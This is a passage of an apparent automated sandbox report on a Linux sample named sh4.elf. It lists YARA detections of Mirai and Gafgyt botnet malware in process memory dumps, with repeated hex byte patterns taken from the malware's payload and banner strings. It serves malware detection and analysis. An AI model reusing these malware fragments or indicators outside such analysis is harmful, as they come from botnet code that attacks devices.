0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5706.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5532.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5525.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5683.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5528.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5526.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xf6a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf6f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf708:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf71c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf730:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf744:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf758:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf76c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf780:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf794:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf7f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf80c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf820:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5698.1.00007fd1f0400000.00007fd1f0412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0xfbfc:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5523	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5523	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xdc2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdd6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xdfe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe62:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe76:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe8a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeda:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf02:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf16:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf2a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf52:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: sh4.elf PID: 5523	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x167f:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: sh4.elf PID: 5525	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: sh4.elf PID: 5525	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xca34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xca48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xca5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xca70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xca84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xca98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 